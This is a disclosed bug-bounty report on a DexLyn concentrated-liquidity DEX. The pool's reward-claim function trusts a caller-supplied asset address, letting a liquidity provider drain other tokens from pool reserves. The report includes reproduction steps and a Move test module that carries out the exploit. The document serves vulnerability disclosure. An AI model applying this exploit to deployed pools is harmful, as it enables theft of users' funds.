DexLyn Disclosed Report

Unchecked reward asset during reward claim allows withdrawing the wrong token from pool reserves (affects pool’s paired assets and any FA held by the pool).

Company
Created date
Sep 08 2025

Target

hidden

Vulnerability Details

The reward-claim function trusts a user-supplied asset_addr when transferring owed rewards. Instead of enforcing the configured rewarder asset for the given rewarder_index, the function withdraws from whatever FA store matches the caller’s asset_addr. An LP with accrued rewards can therefore claim in asset A or asset B (or any FA the pool holds), draining pool reserves by up to the owed amount per claim. Impact: Direct, non-privileged theft from pool reserves equal to the attacker’s accrued reward balance each claim; breaks asset-type invariant for rewarders; fund mis-accounting.

Validation steps

  1. Initialize a pool with tokens A/B.
  2. Configure a rewarder that pays in token R and accrue rewards for an LP position.
  3. Call clmm_router::collect_rewarder(pool_id, rewarder_index, position_id, asset_addr = address_of_token_A).
  4. Observe: LP receives A (not R); pool’s A reserve decreases by amount_owed; the rewarder index still corresponds to R.
  5. Repeat with asset_addr = address_of_token_B; pool’s B reserve decreases accordingly.
#[test_only]
module dexlyn_clmm::reward_vulnerability_test {
    use std::signer;
    use std::option;
    use std::string::utf8;
    use aptos_framework::account;
    use aptos_framework::timestamp;
    use aptos_framework::coin;
    
    use dexlyn_clmm::clmm_router;
    use dexlyn_clmm::factory;
    use dexlyn_clmm::pool;
    use dexlyn_clmm::utils;
    use dexlyn_clmm::test_helpers::{Self, TestCoinA, TestCoinB};
    use integer_mate::i64;

    #[test(
        supra_framework = @supra_framework,
        admin = @dexlyn_clmm,
        user = @0x123
    )]
    public entry fun test_reward_asset_vulnerability(
        admin: &signer, 
        user: &signer,
        supra_framework: &signer
    ) {
        // Setup environment
        coin::create_coin_conversion_map(supra_framework);
        account::create_account_for_test(signer::address_of(admin));
        account::create_account_for_test(signer::address_of(user));
        timestamp::set_time_has_started_for_testing(supra_framework);
        factory::init_factory_module(admin);
        clmm_router::init_clmm_acl(admin);
        test_helpers::mint_tokens(admin);
        test_helpers::mint_tokens(user);

        // Create pool with tokens A and B
        let tick_spacing = 100;
        let fee_rate = 500;
        clmm_router::add_fee_tier(admin, tick_spacing, fee_rate);
        
        let init_sqrt_price = 18446744073709551616; // 1.0 as Q64.64
        let asset_a_addr = utils::coin_to_fa_address<TestCoinA>();
        let asset_b_addr = utils::coin_to_fa_address<TestCoinB>();
        let (asset_a_sorted, asset_b_sorted) = utils::sort_tokens(asset_a_addr, asset_b_addr);

        // Create pool with A/B pair
        clmm_router::create_pool_coin_coin<TestCoinB, TestCoinA>(
            admin,
            tick_spacing,
            init_sqrt_price,
            utf8(b"test-pool"),
            asset_a_sorted,
            asset_b_sorted
        );

        let pool_opt = factory::get_pool(tick_spacing, asset_a_sorted, asset_b_sorted);
        let pool_address = option::extract(&mut pool_opt);

        // Initialize rewarder with Token A as reward token
        let rewarder_index = 0;
        clmm_router::initialize_rewarder(
            admin,
            pool_address,
            signer::address_of(admin),
            rewarder_index,
            asset_a_addr // Configure Token A as reward token
        );

        // Configure rewards emission rate
        let emissions_per_second = 1000;
        clmm_router::update_rewarder_emission(
            admin,
            pool_address,
            (rewarder_index as u8),
            emissions_per_second,
            asset_a_addr
        );

        // Open position for user
        let tick_lower = 18446744073709551216; // -400
        let tick_upper = 400;
        let pos_id = pool::open_position(
            user,
            pool_address, 
            i64::from_u64(tick_lower),
            i64::from_u64(tick_upper)
        );

        // Advance time to accrue some rewards
        timestamp::fast_forward_seconds(100);

        // Exploit: User attempts to collect rewards in Token B instead of configured Token A
        clmm_router::collect_rewarder(
            user,
            pool_address,
            0, // rewarder_index 
            pos_id,
            asset_b_addr // Request Token B instead of configured Token A
        );
    }
}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
State
hidden
Severity
Critical
Bounty$1,855
Visibilitypartially
VulnerabilityOther
Participants
hidden